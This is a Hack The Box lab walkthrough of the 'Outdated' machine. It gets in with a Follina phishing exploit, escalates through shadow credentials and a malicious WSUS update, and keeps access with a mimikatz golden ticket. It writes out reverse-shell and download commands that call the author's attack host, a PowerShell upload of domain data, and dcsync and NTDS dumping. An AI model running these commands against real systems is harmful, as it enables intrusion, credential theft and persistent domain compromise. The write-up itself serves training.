Outdated HTB Walkthrough - Hack the planet

Outdated HTB Walkthrough

Outdated Hack The Box Walkthrough/Writeup:

How I use variables & wordlists:

  • Variables:
    • In my commands you are going to see me use $box, $user, $hash, $domain, $pass often.
      • I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
        • $box = The IP of the box
        • $pass = Passwords I have access to.
        • $user = current user I am enumerating with.
          • Depending on where I am in the process this can change if I move laterally.
        • $domain = the domain name e.g. sugarape.local or contoso.local
      • Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
  • Wordlists:
    • I have symlinks all setup so I can get to my passwords from ~/Wordlists so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to /usr/share/wordlists

1. Enumeration:

NMAP:

  • Basic Scan:

    • nmap $box -Pn -oA basicScan
      kali in 46.02-HTB/BlogEntriesMade/Outdated/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
      🕙 08:49:14 zsh ❯ nmap $box -Pn -oA basicScan
      Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 08:49 BST
      Nmap scan report for 10.129.229.239
      Host is up (0.039s latency).
      Not shown: 988 filtered tcp ports (no-response)
      PORT     STATE SERVICE
      25/tcp   open  smtp
      53/tcp   open  domain
      88/tcp   open  kerberos-sec
      135/tcp  open  msrpc
      139/tcp  open  netbios-ssn
      389/tcp  open  ldap
      445/tcp  open  microsoft-ds
      464/tcp  open  kpasswd5
      593/tcp  open  http-rpc-epmap
      636/tcp  open  ldapssl
      3268/tcp open  globalcatLDAP
      3269/tcp open  globalcatLDAPssl
      
      Nmap done: 1 IP address (1 host up) scanned in 10.89 seconds
  • In depth scan:

    • sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP

        kali in 46.02-HTB/BlogEntriesMade/Outdated/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh  took 11s
        🕙 08:49:33 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
        Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 08:49 BST
        Nmap scan report for 10.129.229.239
        Host is up (0.040s latency).
        Not shown: 65514 filtered tcp ports (no-response)
        PORT      STATE SERVICE       VERSION
        25/tcp    open  smtp          hMailServer smtpd
        | smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
        |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
        53/tcp    open  domain        Simple DNS Plus
        88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-10 15:52:26Z)
        135/tcp   open  msrpc         Microsoft Windows RPC
        139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
        445/tcp   open  microsoft-ds?
        464/tcp   open  kpasswd5?
        593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
        636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
        |_ssl-date: 2024-10-10T15:54:00+00:00; +8h00m01s from scanner time.
        | ssl-cert: Subject: commonName=DC.outdated.htb
        | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
        | Not valid before: 2023-12-13T00:17:36
        |_Not valid after:  2024-12-12T00:17:36
        3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
        |_ssl-date: 2024-10-10T15:54:00+00:00; +8h00m01s from scanner time.
        | ssl-cert: Subject: commonName=DC.outdated.htb
        | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
        | Not valid before: 2023-12-13T00:17:36
        |_Not valid after:  2024-12-12T00:17:36
        3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
        | ssl-cert: Subject: commonName=DC.outdated.htb
        | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
        | Not valid before: 2023-12-13T00:17:36
        |_Not valid after:  2024-12-12T00:17:36
        |_ssl-date: 2024-10-10T15:54:00+00:00; +8h00m01s from scanner time.
        5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
        |_http-title: Not Found
        |_http-server-header: Microsoft-HTTPAPI/2.0
        8530/tcp  open  http          Microsoft IIS httpd 10.0
        |_http-server-header: Microsoft-IIS/10.0
        | http-methods:
        |_  Potentially risky methods: TRACE
        |_http-title: Site doesn't have a title.
        8531/tcp  open  unknown
        9389/tcp  open  mc-nmf        .NET Message Framing
        49667/tcp open  msrpc         Microsoft Windows RPC
        49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
        49692/tcp open  msrpc         Microsoft Windows RPC
        49924/tcp open  msrpc         Microsoft Windows RPC
        49950/tcp open  msrpc         Microsoft Windows RPC
        49984/tcp open  msrpc         Microsoft Windows RPC
        Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
        Device type: general purpose
        Running (JUST GUESSING): Microsoft Windows 2019 (89%)
        Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
        No exact OS matches for host (test conditions non-ideal).
        Service Info: Hosts: mail.outdated.htb, DC; OS: Windows; CPE: cpe:/o:microsoft:windows
      
        Host script results:
        | smb2-time:
        |   date: 2024-10-10T15:53:22
        |_  start_date: N/A
        |_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
        | smb2-security-mode:
        |   3:1:1:
        |_    Message signing enabled and required
      
        OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
        Nmap done: 1 IP address (1 host up) scanned in 248.40 seconds
    • Findings:

      • 8530 & 8531
      • We can see that mail.outdated.htb is used:
        • Service Info: Hosts: mail.outdated.htb, DC; OS: Windows; CPE: cpe:/o:microsoft:windows
        • I will add that to my /etc/hosts

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  • If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
    • We can actually retrieve a significant amount of information via anonymous bind such as:
      • A list of all users
      • A list of all groups
      • A list of all computers.
      • User account attributes.
      • The domain password policy.
      • Enumerate users who are susceptible to AS-REPRoasting.
      • Passwords stored in the description fields
    • The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
  • I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here

  • It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.

    1. We have the naming context of the domain:

      kali in ~/Desktop/WindowsTools 🐍 v3.12.6  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
      🕙 08:50:47 zsh ❯ python3 ldapchecker.py $box
      Attempting to connect to 10.129.229.239 with SSL...
      Connected successfully. Retrieving server information...
      DSA info (from DSE):
        Supported LDAP versions: 3, 2
        Naming contexts:
          DC=outdated,DC=htb
          CN=Configuration,DC=outdated,DC=htb
          CN=Schema,CN=Configuration,DC=outdated,DC=htb
          DC=DomainDnsZones,DC=outdated,DC=htb
          DC=ForestDnsZones,DC=outdated,DC=htb
    2. We have the domain functionaility level:

      Other:
        domainFunctionality:
          7
        forestFunctionality:
          7
        domainControllerFunctionality:
          7
        rootDomainNamingContext:
          DC=outdated,DC=htb
        ldapServiceName:
          outdated.htb:[email protected]
      • The functionality level determines the minimum version of Windows server that can be used for a DC.
        • +Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.

        • https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels

        • Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.

        • In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.

        • Here’s a list of functional level numbers and their corresponding Windows Server operating systems:

          Functional Level Number Corresponding OS
          0 Windows 2000
          1 Windows Server 2003 Interim
          2 Windows Server 2003
          3 Windows Server 2008
          4 Windows Server 2008 R2
          5 Windows Server 2012
          6 Windows Server 2012 R2
          7 Windows Server 2016
          8 Windows Server 2019
          9 Windows Server 2022
          • +Note+:
            • Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
            • As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
    3. We have the full server name:

      • Again we can see this has the CN as the base (mentioned previously.)
        serverName:
            CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=outdated,DC=htb
  • It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.

    • We have the naming context.
    • Domain name.
  • I update my /etc/hosts file now that we have the server name.

    • This is so we can use tools like kerbrute for user enumeration as well as other tools later on.

DNS 53:

  • Using dnsenum to enumerate DNS entries:
    • dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
    • As we can see there are some interesting entries here:
      • mail.outdated.htb (which was in our NMAP scan)
      • client.outdated.htb
      • wsus.outdated.htb
    • I add all of these to my /etc/hosts

Kerberos 88:

Using Kerbrute to bruteforce Usernames:

  • As kerberos is present we can enumerate users using kerbrute:
    • kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
    • I get 1 valid username I add this to my list of users:

SMTP 25:

Connecting to the SMTP service using telnet:

  • telnet mail.outdated.htb 25
  • I run EHLO all & help to enumerate the service:
  • As we can see we do have the option AUTH LOGIN, so this may be useful for later if we need to send anything.
  • +Note+: Remember you can only send mail via SMTP on the CLI not read. We need IMAP or POP3 to read.

SMTP Commands (via Telnet):

  • HELO / EHLO: Identifies your client to the server (use EHLO for extended features).
  • MAIL: Specifies the sender’s email address.
  • RCPT: Specifies the recipient’s email address.
  • DATA: Starts the email body input.
  • QUIT: Ends the session.
  • NOOP: No operation (used to keep the connection alive).
  • VRFY: Verifies if a mailbox exists (not always allowed for privacy reasons).
  • RSET: Resets the current session without quitting.

I do some user enumeration using smtp-user-enum:

  • First with the VRFY Method:

    • smtp-user-enum -M VRFY -U ~/Wordlists/seclists/Usernames/Names/names.txt -D mail.$domain -t $box
      • No hits using the VRFY method.
  • I try again using the EXPN method but nothing either:

    • smtp-user-enum -M EXPN -U ~/Wordlists/seclists/Usernames/Names/names.txt -D mail.$domain -t $box

Attempting to bruteforce SMTP:

Using Hydra to bruteforce SMTP:
  • hydra -l itsupport -P +/Wordlists/rockyou.txt $box smtp -t 1
  • I try hydra however no matter how many threads I set it always disables due to too many connections.
I try the SMTP NMAP bruteforcing .nse script:
  • nmap -p 25 --script smtp-brute $box

SMB 445:

Attempting to connect with NULL & Guest sessions:

  • netexec smb $box -u 'guest' -p '' --shares
  • netexec smb $box -u '' -p '' --shares
    • So I can see we have access to the Shares share as well as $IPC
    • We can also see that there are multiple mentions of wsus as seen in our DNSenum findings.

Attempting to use the sflowers username as password:

  • I try and connect with the sflowers *user and use their username as password as well as a blank password but no luck:

Logging into the Shares to find a PDF:

  • I login to the SMB share using the guest account & immediatley find a pdf:

    • smbclient -U $domain\$guest \\\\$box\\Shares
  • I download the pdf:

Attempting to extract creator names from the .PDF:

If you are not aware, it is sometimes possible to extract valid domain usernames from pdf's if they have been created on a Windows host. As often the Creator Field is populated using the Windows User’s Logged-In Name

  • Some reasons why the Creator Field Uses the Windows User’s Logged-In Name:
    • PDF Metadata Collection:

      • When creating a PDF, many programs (e.g., Microsoft Word, Adobe Acrobat) automatically pull metadata from the system.
    • System Environment Variables:

      • The logged-in Windows username is part of system environment variables. This is often used to populate fields like “Creator” in the PDF document.
    • Program Defaults:

      • By default, many PDF generation tools use the logged-in username as the creator unless manually changed by the user.
    • Tracking Ownership:

      • This feature helps track the original creator or author of a document for auditing or document management purposes.
Attempting to extract Usernames From the PDF using exiftool:
  • exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userNames.txt
  • I run it and check the output of the file, however there are no valid usernames, just that it was created using Word:
  • Command Breakdown:

    1. exiftool -Creator -csv *pdf

      • exiftool: Run the tool
      • -Creator: Extracts the Creator metadata field from the files.
      • -csv: Outputs the data in CSV format.
        • This is the most important part for the rest of the command to work:
          • The CSV format provides a structured way to output the metadata in rows and columns. When extracting metadata from multiple PDFs, each PDF’s metadata is presented as a row, and each field (like “Creator”) is a column. This makes it easier to process the data programmatically.
          • Simplicity: When using tools like cut, it’s easier to extract specific fields by referring to column numbers (e.g., -f2 for the second column), which is straightforward with CSV formatting.
      • *pdf: Targets all PDF files in the current directory.
    2. | cut -d, -f2

      • |: Pipes the output from the previous command into the next.
      • cut: Extracts specific fields from the CSV output.
      • -d,: Uses a comma as the delimiter (since it’s CSV data).
      • -f2: Selects the second field, which contains the creator name.
    3. | sort: Sorts the creator names alphabetically.

    4. | uniq: Removes duplicate names, leaving only unique entries.

    5. > userNames.txt

      • Redirects the final output (unique creator names) into a file named userNames.txt

Reading NOC_Reminder.pdf and discovering exploits that the environment is susceptible to:

  • Looking at the PDF it provides a list of vulnerabilities in the environment that they need to patch as well as corresponding CVE’s.
    • It also reveals another email address: [email protected] is expecting to be sent links to internal web applications to them.

Investigating the CVE list For an attack path:

  • I will use these CVE’s as a starting point to see if we can find an easy way in.
CVE-2022-30138 PrintSpooler Privilege Escalation:
  • Good privesc path once we have access as this needs to be performed locally.
CVE-2022-30129 Remote Code Execution vulnerability in Visual Studio Code:
  • This CVE-2022-30129 pertains to a Remote Code Execution vulnerability in Visual Studio Code, affecting versions less than 1.67.1.
CVE-2022-29110 Microsoft Excel Remote Code Execution Vulnerability:
  • Microsoft CVE-2022-29110: Microsoft Excel Remote Code Execution Vulnerability
CVE-2022-29130 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability.:
  • Microsoft Windows: CVE-2022-29130: Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability.
CVE-2022-30190 Follina Exploit:

2. Foothold:

Quick overview on Follina Exploit:

  • We craft a malicious Office documents that uses a feature to load remote HTML via a link. This triggers Microsoft Support Diagnostic Tool MSDT (overview below), allowing us to execute arbitrary code on the victim’s machine without the need for macros.
  • +This is the crazy part+
    • All that needs to happen for exploitation is that the user opens or +previews+ (if .rtf is used) the office document.
  • Attack Path
    • This may be valid attack path as we know that itsupport is expecting to be sent links.
Microsoft Support Diagnostic Tool (MSDT) Overview:
  • Purpose:

    • MSDT is a built-in Windows tool designed to help users troubleshoot and diagnose system problems.
    • It collects diagnostic information (logs, configurations, etc.) about a system and sends it to Microsoft Support or can be used to automatically resolve issues based on predefined fixes.
  • Functionality:

    • It works through various troubleshooting packs, which are scripts or tools that identify and resolve specific issues (e.g., network connectivity, hardware problems).
    • Often accessed via Windows troubleshooting settings or invoked by support agents when collecting system data remotely.
  • How it’s triggered:

    • Can be invoked manually by users or automatically through specific command-line arguments.
    • In the case of the Follina exploit, it was invoked through a URL protocol (e.g., ms-msdt:) embedded in a malicious Office document.
  • I use swaks to send an email to the [email protected]:

    • swaks --to [email protected] --from [email protected] --server mail.outdated.htb --body "http://10.10.14.43/" --header "Subject: Testing"
    • I put the IP of my attack box as a link within the body and setup a listener on host.
      • nc -nvlp 80
    • I do this as I want to see if we send a link will it be clicked.
  • I get a connection back to my listener once the email is sent:

    • This verified that if a link is sent to that email address the link will be clicked.

Trying to get a reverse shell using the Follina exploit:

  • This section includes all my troubleshooting when I couldn’t get things started/moving forward. I want to leave this in as a lot of walkthroughs’ are like, so I did A, B, C and that’s how I got root. Where as it’s never that simple, for me at least, and leads to unrealistic expectations for people just trying to get into the industry/CTF’s. So I leave almost everything in, bones and all.

Trying to get a reverse shell using Follina and a malicious .doc:

  • I download john-hammonds follina POC:

  • Create a base64 encoded reverse shell using https://revshells.com:

  • Run the exploit generator & passing in my base64 encoded string:

    • python3 follina.py -i tun0 -p 9999 -c "powershell -e <base64EncodedString>"
  • The exploit by default starts the listener too to serve the malicious .html:

  • I start my listener on 443:

    • nc -nvlp 443
  • I use swaks to send the malicious document:

  • And I get…..nothing:

    • Lets get thinking…..

Trying to get a reverse shell using Follina malicious html:

  • With the Follina exploit the .doc/.rtf is just a mechanism to have the victim reach out to the malicious html which actually has the payload. As we know that if we send a link to the itsupport it will be clicked. Which means we should be able to send them a direct link to the malicious follina html, it be clicked and the payload delivered.
Using John Hammond’s Follina exploit web-server to serve the payload:
  • I double check that the html is working by running curl:

    • curl http://10.10.14.43:9999
    • We can see it is here so we know it is running:
      • If you’re wondering why it’s so much data, the exploit requires 4096 bytes of padding to be included before the exploit will trigger.
  • Checking the server we can see the request:

  • I put the nc64.exe in the same folder and modify my command:

    • python3 follina.py -i tun0 -p 9999 -c 'Invoke-WebRequest http://10.10.14.43/nc64.exe -OutFile C:\Windows\Temp\nc64.exe; C:\Windows\Temp\nc64.exe -e cmd.exe 10.10.14.43 443
    • What’s strange is I can get it trigger the part where it reaches out to the webserver, but it never actually pulls down the nc64.exe binary however, it just reaches out to the server.
  • Back to the drawing board….
    • I mean I could debug this but there are other publicly available exploits so will try one of them first.

Getting a Reverse shell using Follina.py:

  • I find this exploit:

  • I copy the nc64.exe binary to it’s root web folder /www:

  • Start the webserver & put my command I want to run when the victim reaches the malicious html:

    • python follina.py -t rtf -m command -c 'Invoke-WebRequest http://10.10.14.43/nc64.exe -OutFile C:\\Windows\\Temp\\nc64.exe; C:\\Windows\\Temp\\nc64.exe -e cmd.exe 10.10.14.43 443'
    • +Note+: With this particular exploit the author does to use double backslashes to escape them.
  • Send my email via swaks:

  • We immediately get a hit on the web server:

  • We catch our shell Caught:

Enumerating as the user btables:

Checking if PrintSpoofer is a viable exploit path:

  • As we saw that PrintSpooler/PrintSpoofer was mentioned the first thing to check is the privileges of our user:

    • To perform this attack we need either SeAssignPrimaryTokenPrivilege or SeImpersonatePrivilege we have neither.
    • Maybe we can activate them with EnableAllTokePrivs.ps1
  • I transer EnableAllTokePrivs.ps1:

    • powershell -c wget http://10.10.14.43:9000/EnableAllTokenPrivs.ps1 -o tp.ps1
  • I run it:

    • No luck:

Finding a check_mail.ps1 script containing clear text creds:

  • I discover a script called check_mail.ps1 in the users home folder::

  • Reading the contents of the script reveals a new username and a clear-text password:

    • I add the username and password to my list:
  • I check if the username & password can be used to access SMB or LDAP but they cannot:

Reading Emails using check_mail.ps1:

  • I run the check_mail.ps1 script:
    • powershell -c .\.check_mail.ps1
    • I have a feeling this is just the automated mechanism to read the email we sent.

Trying to Extract Credentials using LaZagne.exe:

  • I transer LaZagne.exe over to hunt for passwords:
    • curl http://10.10.14.43:9000/LaZagne.exe -o lz.exe
    • I get a big fat nothing:

Using SharpHound.exe to enumerate the environment.

  • I transfer the binary accross:

    • powershell -c wget http://10.10.14.43:9000/SharpHound.exe -o sh.exe
  • I run the collector:

    • .\sh.exe

Transferring the SharpHound Zip back to myself using my custom python webserver:

  1. Start my custom python webserver:

    • I have this handy python webserver that is useful when exfiling data.
    • +NOTE+:
      • Will output file as uploaded_file
      • FYI my server has certs and you can enter in passwords & usernames or it will auto-generate one for you.
      • The only reason I am not using 443 for https is because my revers-shell is running over that.
  2. Send the file from victim using powershell:

    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $wc = New-Object System.Net.WebClient; $wc.Headers.Add("Authorization", "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("bloodstiller:bl00dst1ll3r"))); try { $response = $wc.UploadData("https://10.10.14.43:9999", [System.IO.File]::ReadAllBytes("C:\Users\btables\20241011102426_BloodHound.zip")); Write-Host "Server response: $([System.Text.Encoding]::UTF8.GetString($response))"; Write-Host "File sent successfully!" } catch { Write-Host "An error occurred: $_" }
    • File received on our attack host:
      • +Note+: The file will be called uploaded_file you will have to change it back to a zip file.

3. Lateral Movement:

  • After ingesting the data into bloodhound we can see that btables has the AddKeyCredentialLink privilege over sflowers.

  • We can perform a shadow credentials attack to take advantage of this privilege:

    • If you are unfamiliar with this attack vector I have a write up here:
    • To put it simply: If we have the WriteProperty privilege (specifically for the msDS-KeyCredentialLink attribute) over a user or computer object, we can set Shadow Credentials for that object and authenticate as them. You read that right, we can add a certificate-based credential to a user or computer and then authenticate as them. We can also request a Kerberos ticket and use it for pass-the-ticket attacks if needed.

Building whisker.exe:

  • I actually don’t the binary in my folder of binaries so will have to build:
    • I open up my windows VM.
    • Clone the repo.
      • git clone https://github.com/eladshamir/Whisker
    • Open up Visual Studio 2022
    • Build & voila a nice new whisker.exe binary.

Adding Shadow Credentials to sflowers using whisker.exe :

  • I transfer whisker.exe to the host:

    • curl http://10.10.14.43:9000/Whisker.exe -o w.exe
    • I call it w.exe for no reason other than speed when typing.
  • I set the shadow credentials on the user sflowers:

    • w.exe add /target:sflowers /domain:outdated.htb
    • +Note+: What is great about whisker is that spits out the exact command you will need to run in rubeus.

I use the base64 encoded certificate to request a TGT for sflowers using rubeus:

  • I run rubeus and pass it the base64 encoded certificate & password:

    • r.exe asktgt /user:sflowers /certificate:<base64Cert> /password:"sA1JSl1rVtabQdMp" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
  • Rubeus Command Explained:

    • Uses the certificate to request a Kerberos TGT for Susan Flowers (sflowers)
    • The /certificate parameter contains the Base64-encoded certificate
    • The /password is for the private key, not Susan’s actual AD password
    • The /getcredentials flag attempts to decrypt the encrypted NTLM hash from the TGT
    • The /show flag displays the ticket details and other information
    • If successful, Rubeus receives a TGT and can extract the NTLM hash
  • As a result of this process:

    • Rubeus obtains a TGT for Susan Flowers (sflowers) & generates a .kirbi file which can be used for pass-the-ticket attacks.
    • It also extracts and displays the user’s NTLM hash (due to the /getcredentials flag)
    • The ticket details and other information are shown in the output (due to the /show flag)
  • I check the NTLM hash is valid using netexec:

    • netexec smb $box -u $user -H $hash --share
    • We can see we have read & write access to the WSUS shares now.
    • +Note+: I actually had to restart the box as I was getting some strange errors when trying to authenticate to SMB as sflowers

Enumerating the Host as slfowers:

  • I connect with evil-winrm:

    • evil-winrm -i $box -u $user -H $hash
  • Get the flag:

  • I see that PsExec64.exe binary is also on the desktop:

Seeing sflowers has outbound object control over the CA:

  • I see in bloodhound that sflowers has outbound object control over the CA:

  • I run certipy-ad to see if there are any vulnerable certs:

    • certipy-ad find -vulnerable -enabled -u $user@$domain -hashes :$hash -dc-ip $box
    • I check but there are no vulnerable certs

Discovering sflowers is part of the wsus administrators group:

  • Looking at sflowers group memberships we can see she is part of the wsus administrators group:
    • This could be a viable attack path as if we can push a malicious update via wsus we may be able to escalate our privileges:

What is WSUS (Windows Server Update Services)?

  • WSUS (Windows Server Update Services) is a critical component in many corporate Windows environments. It allows administrators to manage and distribute updates centrally.

WSUS Architecture:

  • Typical deployment:

    • One WSUS server in the corporate network
    • Downloads patches from Microsoft via HTTP/HTTPS
    • Deploys patches to clients as they check in
    • Client communication:
      • HTTP (port 8530)
      • HTTPS (port 8531)
  • More complex deployments may involve:

    • Upstream server: Connects to Microsoft, downloads updates
    • Downstream servers: Receive updates from upstream, distribute to clients

4. Privilege Escalation:

Manually Enumerating the WSUS Service by querying the registry:

Enumerating the Primary WSUS Settings:

  • To query the main WSUS settings, use the following command:
    • reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
    SetActiveHours    REG_DWORD     0x1
    ActiveHoursStart    REG_DWORD     0x0
    ActiveHoursEnd    REG_DWORD     0x17
    AcceptTrustedPublisherCerts    REG_DWORD     0x1
    ExcludeWUDriversInQualityUpdate    REG_DWORD     0x1
    DoNotConnectToWindowsUpdateInternetLocations    REG_DWORD     0x1
    WUServer    REG_SZ     http://wsus.outdated.htb:8530
    WUStatusServer    REG_SZ     http://wsus.outdated.htb:8530
    UpdateServiceUrlAlternate    REG_SZ
  • Key Findings:
    • SetActiveHours:

      • ActiveHoursStart Start = 0x0 (12:00 AM)
      • ActiveHoursEnd End = 0x17 (11:00 PM)
      • Updates are allowed to install at any time
    • AcceptTrustedPublisherCerts = 1

      • The system accepts certificates from trusted publishers for updates
    • DoNotConnectToWindowsUpdateInternetLocations = 1

      • The system is configured to not connect directly to Windows Update
      • All updates must come through the WSUS server
    • WSUSServer:

      • http://wsus.outdated.htb:8530
      • This is the central update server for the organization
      • Connection Security: HTTP (unencrypted):
        • The connection to the WSUS server uses HTTP instead of HTTPS
        • This could potentially expose update traffic to interception

Enumerating the Automatic Update Settings:

  • To query specific automatic update settings:
    • reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
    AutoInstallMinorUpdates    REG_DWORD     0x1
    NoAutoUpdate    REG_DWORD     0x0
    AUOptions    REG_DWORD     0x3
    ScheduledInstallDay    REG_DWORD     0x0
    ScheduledInstallTime    REG_DWORD     0x3
    ScheduledInstallEveryWeek    REG_DWORD     0x1
    UseWUServer    REG_DWORD     0x1
  • Key Findings:
    • AutoInstallMinorUpdates = 1

      • Minor Updates: Auto-install
      • Small updates are installed without user intervention
    • NoAutoUpdate = 0

      • Automatic Updates: Enabled
      • The system will automatically check for and download updates
    • AUOptions = 3

      • Update Installation: Automatic:
      • Updates will be downloaded and installed automatically
    • ScheduledInstallEveryWeek = 1

      • Update Schedule:
        • Day: 0 (Every day)
        • Time: 3 (3:00 AM)
        • Frequency: Weekly
    • UseWUServer = 1

      • Update Source: WSUS Server
      • Confirms that the system is using the configured WSUS server

Analysis and Implications of the results:

  • Security Concerns: The use of an unencrypted HTTP connection to the WSUS server could pose a security risk, potentially allowing for man-in-the-middle attacks.

    • E.G. Us right now.
  • Automatic Update Behavior: The system is set to automatically install updates, which helps maintain system security but also means if we push an update it will be automatically installed!

  • Update Control: The system is fully reliant on the WSUS server for updates, as it’s configured not to connect to Windows Update directly.

  • Scheduled Updates: Updates are scheduled to install weekly ScheduledInstallEveryWeek = 1, which suggests a regular maintenance window.

  • Attack Path:

    • I will attempt to push a malicious update using the tool SharpWSUS

Using SharpWSUS to push a malicious update:

Building SharpWSUS:

  • Again I don’t have a sharpWSUS binary in my common binaries so will have to build it:
    • I open up my windows VM.
    • Clone the repo.
      • git clone https://github.com/nettitude/SharpWSUS.git
    • Open up Visual Studio 2022
    • Build & voila a nice new sharpWSUS.exe binary.

Using SharpWSUS to trigger a reverse shell as system:

  • Looking at the creators blog-post about the tool I see the following paragraph:

While the need for a signed binary can limit some attack paths, there are still plenty of binaries that could be used such as PsExec.exe to run a command as SYSTEM, RunDLL32.exe to run a malicious DLL on a network share, MsBuild.exe to grab and execute a remote payload and more. The example in this blog will use PsExec.exe for code execution (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

A patch leveraging PsExec.exe can be done with the following command:

SharpWSUS.exe create /payload:“C:\Users\ben\Documents\pk\psexec.exe” /args:"-accepteula -s -d cmd.exe /c \“net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\”" /title:“WSUSDemo”

Creating a Malicious Update with SharpWSUS:
  • I create my SharpWSUS payload to trigger an nc64.exe binary I have uploaded
    • .\SharpWSUS.exe create /payload:"C:\Users\sflowers\Desktop\PsExec64.exe" /args:"-accepteula -s -d C:\Users\sflowers\Documents\nc64.exe -e cmd.exe 10.10.14.43 443" /title:"EmergencyUpdate"
    • +Note+: You can see at the bottom of the output it tells us the next command we need to run in order to push this malicious update.
Approving our Malicious Update with SharpWSUS:
  • Approve the update:

    • .\SharpWSUS.exe approve /updateid:bdf7d92c-2b96-42c3-b615-fc207c9d49af /computername:dc.outdated.htb /groupname:"EmergencyUpdate"
    • +Note+:
      • Be patient it can take a minute or longer in real life depending on update schedules etc.
        • In real life this could take upto a week etc if updates are only pushed weekly and under certain circumstances.
      • /groupname: = the /title: we set in the previous step e.g. "EmergencyUpdate"
      • Remember to modify the /computername: to be the FQDN of the target you are attacking.
  • Shell Caught:

4. Persistence:

Creating a golden ticket with mimikatz.exe:

  • I upload mimikatz via the existin evil-winrm session with sflowers:

    • I perform a dcsync attack and dump the krbtgt hash:
    • lsadump::dcsync /user:krbtgt /domain:outdated.htb
    • I get the SID, KRBTGT NTLM hash which is all I need to perform my Golden Ticket Attack.
  • I create my golden ticket:

    • kerberos::golden /domain:outdated.htb /user:Administrator /sid:S-1-5-21-4089647348-67660539-4016542185 /rc4:<redacted>
  • I transfer the ticket via evil-winrm:

  • Convert with impacket-ticketconverter:

    • impacket-ticketConverter ticket.kirbi admin.ccache
  • Import into session my current session:

    • export KRB5CCNAME=./admin.ccache
  • Syncronise my time with the Domain Controller:

    • sudo ntpdate -s dc.$domain
    • +Note+: As kerberos uses time based security checks this is important
  • Check the ticket is in memory:

    • klist
    • If you look we can see this ticket is valid for 10 years so as long no-one changes the krbtgt password (which is unlikely) we will have persistence.
  • Connect Using my ticket using impacket-psexec:

    • impacket-psexec dc.$domain -k

Dumping NTDS for fun for fun and profit:

  • Now that we have persistence we might as well pillage:

  • I perform a DCSync attack using netexec and dump all hashes:

    • netexec smb $box -u administrator --use-kcache -M ntdsutil

Lessons Learned:

What did I learn?

  1. I learned about the follina exploit, I had never used that exploit previously so was interesting using purely the malicious HTML part as a delivery mechanism for our exploit.
  2. I learned a lot about WSUS. Looking at the different architecture options available and how to query the registry was interesting from an enumeration point of view.
  3. I learned about the process of doing a shadow credentials attack. I even stopped the box halfway to do a deep-dive and made a blog post I found it so interesting:

What silly mistakes did I make?

  1. Trying to download to C:\\Temp\\ you know the FAMOUS non-existent directory in windows!
  2. I had a couple of real dense moments when I was tired & over-thinking about how I could use the malicious Follina html instead of just sending the link.
